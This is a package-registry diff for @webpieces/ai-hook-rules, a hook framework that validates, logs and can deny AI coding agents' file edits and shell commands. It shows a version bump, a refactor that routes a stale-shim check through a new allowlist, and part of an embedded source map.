@webpieces/ai-hook-rules 0.4.535 → 0.4.537
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -2
- package/src/adapters/hook-core.js +11 -8
- package/src/adapters/hook-core.js.map +1 -1
- package/src/bin/l0-allowlist.d.ts +56 -0
- package/src/bin/l0-allowlist.js +307 -0
- package/src/bin/l0-allowlist.js.map +1 -0
- package/src/bin/shim-testkit.d.ts +4 -0
- package/src/bin/shim-testkit.js +8 -0
- package/src/bin/shim-testkit.js.map +1 -1
- package/src/bin/shim.d.ts +1 -20
- package/src/bin/shim.js +45 -177
- package/src/bin/shim.js.map +1 -1
- package/src/core/l0-matrix.d.ts +64 -0
- package/src/core/l0-matrix.js +207 -0
- package/src/core/l0-matrix.js.map +1 -0
- package/src/core/runner.js +31 -18
- package/src/core/runner.js.map +1 -1
- package/templates/ai-hook.sh +19 -13
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@webpieces/ai-hook-rules",
|
|
3
|
-
"version": "0.4.
|
|
3
|
+
"version": "0.4.537",
|
|
4
4
|
"description": "Pluggable write-time validation framework for AI coding agents (@webpieces/ai-hook-rules). Claude Code PreToolUse + openclaw before_tool_call adapters share one rule engine.",
|
|
5
5
|
"type": "commonjs",
|
|
6
6
|
"main": "./src/index.js",
|
|
@@ -32,7 +32,7 @@
|
|
|
32
32
|
"directory": "packages/tooling/ai-hook-rules"
|
|
33
33
|
},
|
|
34
34
|
"dependencies": {
|
|
35
|
-
"@webpieces/rules-config": "0.4.
|
|
35
|
+
"@webpieces/rules-config": "0.4.537"
|
|
36
36
|
},
|
|
37
37
|
"publishConfig": {
|
|
38
38
|
"access": "public"
|
|
@@ -14,6 +14,7 @@ const types_1 = require("../core/types");
|
|
|
14
14
|
const to_error_1 = require("../core/to-error");
|
|
15
15
|
const claude_code_response_1 = require("./claude-code-response");
|
|
16
16
|
const shim_1 = require("../bin/shim");
|
|
17
|
+
const l0_matrix_1 = require("../core/l0-matrix");
|
|
17
18
|
const HANDLED_FILE_TOOLS = new Set(['Write', 'Edit', 'MultiEdit']);
|
|
18
19
|
// Read-only tools carry NO guard or code rule, but the guards hook owns the per-invocation audit log
|
|
19
20
|
// (guard-invocations.log). When the guards matcher includes these (see setup.ts GUARDS_HOOK), a
|
|
@@ -152,12 +153,11 @@ function handleFileTool(payload, cwd, mode) {
|
|
|
152
153
|
}
|
|
153
154
|
// webpieces-disable no-function-outside-class -- pure decision helper beside the adapter's other module-scope functions; exported for direct unit testing.
|
|
154
155
|
function shimStaleRecoveryDecision(toolName, command, filePath) {
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
return 'pass'; // the always-allowed config edit
|
|
156
|
+
const allowed = (0, shim_1.isAllowed)(toolName, command, filePath);
|
|
157
|
+
if (allowed === 'pass')
|
|
158
|
+
return 'pass';
|
|
159
|
+
if (allowed === 'allow')
|
|
160
|
+
return 'allow-cure';
|
|
161
161
|
return 'deny';
|
|
162
162
|
}
|
|
163
163
|
// Committed-shim self-guard, moved here from the rendered shim (2026-07-24). The committed
|
|
@@ -167,7 +167,7 @@ function shimStaleRecoveryDecision(toolName, command, filePath) {
|
|
|
167
167
|
// instead of the (possibly stale) shim. It used to `cmp` itself inside the shim: a double-edged trap,
|
|
168
168
|
// since the check lived in the very file it guarded and a fix could only ship by regenerating that
|
|
169
169
|
// file. Now we fail closed on all real WORK while always leaving the recovery path open (see
|
|
170
|
-
// shimStaleRecoveryDecision): the
|
|
170
|
+
// shimStaleRecoveryDecision): the whole L0 allowlist, any Read, and editing webpieces.config.json. We deny +
|
|
171
171
|
// tell the AI; we do NOT silently rewrite the file under it. 'rules' hook skips it (guards owns the
|
|
172
172
|
// shim). Returns normally (pass / nothing to do) or exits via emitAllow/emitDeny.
|
|
173
173
|
// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design
|
|
@@ -179,7 +179,10 @@ function enforceCommittedShim(payload, cwd, mode) {
|
|
|
179
179
|
return;
|
|
180
180
|
if (decision === 'allow-cure')
|
|
181
181
|
(0, claude_code_response_1.emitAllow)();
|
|
182
|
-
|
|
182
|
+
// Drop the L0 matrix doc where the AI can read it and point the deny at it — a Read is entry 1 of
|
|
183
|
+
// the same allowlist, so the pointer is always followable. Best-effort: no doc → no pointer.
|
|
184
|
+
const docPath = (0, l0_matrix_1.writeGuardMatrixDoc)(new rules_config_1.RepoRootFinder().resolveRepoRoot(cwd));
|
|
185
|
+
(0, claude_code_response_1.emitDeny)((0, shim_1.shimStaleDenyReason)((0, shim_1.installedShimRulesVersion)()) + (0, l0_matrix_1.guardMatrixPointer)(docPath), payload.tool_name);
|
|
183
186
|
}
|
|
184
187
|
/**
|
|
185
188
|
* Shared entry point for all three Claude Code PreToolUse adapters. `mode` selects which tool kinds
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"hook-core.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/adapters/hook-core.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\n\nimport { run, runBash, runRead } from '../core/runner';\nimport { logRejection } from '../core/rejection-log';\nimport { logGuardDecision, GuardDecision, branchForLog, logGuardInvocation } from '../core/decision-log';\nimport { triggerMainSyncRefresh } from '../core/main-sync-refresh';\nimport { CONFIG_FILENAME } from '../core/load-config';\nimport { RepoRootFinder } from '@webpieces/rules-config';\nimport { NormalizedToolInput, NormalizedEdit, ToolKind, InformAiError, RuleFailError, HookMode, BlockedResult } from '../core/types';\nimport { toError } from '../core/to-error';\nimport { emitDeny, emitAllow } from './claude-code-response';\nimport { committedShimStale, isShimCureCommand, shimStaleDenyReason, installedShimRulesVersion } from '../bin/shim';\n\n// Which category of rules this hook invocation runs. The hook is split into two independently\n// installable PreToolUse hooks; each runs ONE category (the runner filters by it), and both can\n// receive file AND bash payloads:\n// - 'rules' → code-style rules (file/edit scope). Bash payloads pass through (no code rules apply).\n// - 'guards' → hookGuards section: bash git/PR guards on Bash AND file guards (feature-branch-guard)\n// on Write/Edit, PLUS a log-and-allow audit of Read. Matcher is Write|Edit|MultiEdit|Bash|Read.\n// - 'all' → both categories, used by the openclaw plugin adapter (a single before_tool_call hook).\nexport type { HookMode };\n\nconst HANDLED_FILE_TOOLS = new Set(['Write', 'Edit', 'MultiEdit']);\n\n// Read-only tools carry NO guard or code rule, but the guards hook owns the per-invocation audit log\n// (guard-invocations.log). When the guards matcher includes these (see setup.ts GUARDS_HOOK), a\n// log-and-allow fast path records every file the AI opens — so a human can later inspect whether it\n// read a project's design.json BEFORE editing the project. Never blocked. Scoped to Read for now;\n// widen (Grep/Glob/NotebookRead) later if desired.\nconst READ_ONLY_TOOLS = new Set(['Read']);\n\ninterface ClaudeCodePayload {\n tool_name: string;\n tool_input: ClaudeCodeToolInput;\n // Claude Code sends the session's current working directory (follows a persisted `cd`). Used to\n // scope guards to the git repo the AI is actually in — see runner git-repo-boundary governance.\n cwd?: string;\n}\n\ninterface ClaudeCodeToolInput {\n file_path?: string;\n content?: string;\n old_string?: string;\n new_string?: string;\n edits?: ClaudeCodeEditEntry[];\n command?: string;\n}\n\ninterface ClaudeCodeEditEntry {\n old_string?: string;\n new_string?: string;\n}\n\nfunction readStdin(): Promise<string> {\n return new Promise((resolve: (value: string) => void) => {\n let data = '';\n process.stdin.setEncoding('utf8');\n process.stdin.on('data', (chunk: string) => { data += chunk; });\n process.stdin.on('end', () => resolve(data));\n process.stdin.on('error', () => resolve(''));\n if (process.stdin.isTTY) resolve('');\n });\n}\n\nfunction safeParse(raw: string): ClaudeCodePayload | null {\n if (!raw || raw.trim() === '') return null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return JSON.parse(raw) as ClaudeCodePayload;\n } catch (err: unknown) {\n const error = toError(err);\n throw new InformAiError(`Malformed hook input from Claude Code stdin: ${error.message}`, { cause: error });\n }\n}\n\nfunction normalizeToolKind(toolName: string): ToolKind | null {\n if (HANDLED_FILE_TOOLS.has(toolName)) return toolName as ToolKind;\n return null;\n}\n\nfunction normalizeToolInput(toolKind: ToolKind, toolInput: ClaudeCodeToolInput): NormalizedToolInput | null {\n const filePath = toolInput.file_path;\n if (!filePath) return null;\n\n if (toolKind === 'Write') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit('', toolInput.content || ''),\n ]);\n }\n if (toolKind === 'Edit') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit(toolInput.old_string || '', toolInput.new_string || ''),\n ]);\n }\n if (toolKind === 'MultiEdit') {\n const raw = Array.isArray(toolInput.edits) ? toolInput.edits : [];\n const edits = raw.map((e: ClaudeCodeEditEntry) => new NormalizedEdit(e.old_string || '', e.new_string || ''));\n return new NormalizedToolInput(filePath, edits);\n }\n return null;\n}\n\nfunction handleBash(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const command = payload.tool_input.command;\n if (!command || command.trim() === '') { emitAllow(); }\n const result = runBash(command, cwd, mode);\n if (!result) { emitAllow(); }\n // Persist the block + WHY. File-tool denies go to hook-rejection.log via logRejection, but a Bash\n // deny had no audit trail — record it in guard-sync-decisions.log so \"blocked and why\" is complete\n // for Bash too. `.webpieces` lives at the repo root, resolved from cwd. Best-effort; never blocks.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(root, new GuardDecision('bash-guard', 'Bash', command ?? '', branchForLog(root), 'BLOCK', result.report));\n // Bash deny → pass 'Bash' so denyJson adds the ANSI-red systemMessage (the only field a Bash deny\n // shows the human; permissionDecisionReason is invisible on Bash). See claude-code-response.ts.\n emitDeny(result.report, 'Bash');\n}\n\n/**\n * The read-scoped guard pass. Returns normally to ALLOW; only calls emitDeny when the guard fires.\n *\n * Wrapped in its own catch that swallows into an allow. Every other path in this hook fails CLOSED,\n * and that is right for edits and shell commands — but a crash here would block the agent from\n * READING, which includes reading webpieces.config.json to turn the offending guard off. So this one\n * path deliberately inverts the policy: a broken read-guard degrades to a no-op, never to a wedge.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleRead(filePath: string, cwd: string, mode: HookMode): void {\n if (filePath === '') return;\n let result: BlockedResult | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n result = runRead(filePath, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n void error;\n return; // fail OPEN — see the doc comment\n }\n if (!result) return;\n logRejection('Read', new NormalizedToolInput(filePath, []), result, cwd);\n emitDeny(result.report, 'Read');\n}\n\nfunction handleFileTool(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const toolKind = normalizeToolKind(payload.tool_name);\n if (!toolKind) { emitAllow(); }\n\n const input = normalizeToolInput(toolKind, payload.tool_input);\n if (!input) { emitAllow(); }\n\n // Always allow edits to webpieces.config.json — it's the fix target when the config is broken.\n // This exits BEFORE run(), so feature-branch-guard never sees a config edit; record that so the\n // audit trail explains why a config edit on a bad branch was not blocked (see decision-log.ts).\n if (path.basename(input.filePath) === CONFIG_FILENAME) {\n if (mode !== 'rules') {\n // `.webpieces/` (the decision log + sync cache these two calls write) lives at the repo\n // root, not the AI's cwd — resolve it so a config edit from a subdir doesn't create a\n // stray `<subdir>/.webpieces` tree.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(\n root,\n new GuardDecision('feature-branch-guard', toolKind, input.filePath, branchForLog(root), 'ALLOW', 'config-bypass (feature-branch-guard skipped)'),\n );\n // The guard's own refresh trigger lives inside its check(), which we skip here — so warm\n // the cache directly, otherwise a session that only edits webpieces.config.json never\n // refreshes the sync status. Fire-and-forget; never blocks the edit.\n triggerMainSyncRefresh(root);\n }\n emitAllow();\n }\n\n const result = run(toolKind, input, cwd, mode);\n if (!result) { emitAllow(); }\n\n logRejection(toolKind, input, result, cwd);\n // File-tool deny → pass the Write/Edit/MultiEdit kind so denyJson omits systemMessage (the reason\n // already renders red natively for these tools). See claude-code-response.ts.\n emitDeny(result.report, toolKind);\n}\n\n// What a stale committed shim lets through. Pure (no cwd / no emit) so it is unit-testable — the\n// RECOVERY carve-out is the load-bearing part. A stale shim must NEVER trap the actions needed to\n// recover: the original \"block everything but the cures\" version also shadowed the always-allowed\n// webpieces.config.json edit (handleFileTool) and blocked reads, so a repo that ALSO needed its config\n// fixed would deadlock — blocked from editing the one file whose edit is normally always allowed, and\n// blocked from reading it to know how. So on a stale shim we block real WORK but keep recovery open:\n// - 'allow-cure' → a Bash shim cure (wp-install-ai-hooks / wp-upgrade-shim / cp): emitAllow directly,\n// bypassing the git guards, exactly as the old shim did for the cures.\n// - 'pass' → a recovery action the normal flow already permits, so fall THROUGH and let it: ANY\n// Read (you must read to know how to fix — see handleRead, which itself fails open),\n// or an edit to webpieces.config.json (the always-allowed recovery target).\n// - 'deny' → all OTHER work: blocked until the committed shim matches renderShim() again.\nexport type ShimStaleDecision = 'allow-cure' | 'pass' | 'deny';\n// webpieces-disable no-function-outside-class -- pure decision helper beside the adapter's other module-scope functions; exported for direct unit testing.\nexport function shimStaleRecoveryDecision(toolName: string, command: string, filePath: string): ShimStaleDecision {\n if (READ_ONLY_TOOLS.has(toolName)) return 'pass'; // any read: needed to recover\n if (isShimCureCommand(command)) return 'allow-cure'; // a Bash shim cure\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass'; // the always-allowed config edit\n return 'deny';\n}\n\n// Committed-shim self-guard, moved here from the rendered shim (2026-07-24). The committed\n// .claude/webpieces/ai-hook.sh is webpieces-MANAGED and generated from renderShim(); if it no longer\n// matches, it was reverted / hand-edited / predates this binary, so its OWN fail-closed logic can't be\n// trusted. We are the CURRENT binary from node_modules — the trustworthy party — so WE decide here\n// instead of the (possibly stale) shim. It used to `cmp` itself inside the shim: a double-edged trap,\n// since the check lived in the very file it guarded and a fix could only ship by regenerating that\n// file. Now we fail closed on all real WORK while always leaving the recovery path open (see\n// shimStaleRecoveryDecision): the three cures, any Read, and editing webpieces.config.json. We deny +\n// tell the AI; we do NOT silently rewrite the file under it. 'rules' hook skips it (guards owns the\n// shim). Returns normally (pass / nothing to do) or exits via emitAllow/emitDeny.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction enforceCommittedShim(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n if (mode === 'rules' || !committedShimStale(cwd)) return;\n const decision = shimStaleRecoveryDecision(payload.tool_name, payload.tool_input.command ?? '', payload.tool_input.file_path ?? '');\n if (decision === 'pass') return;\n if 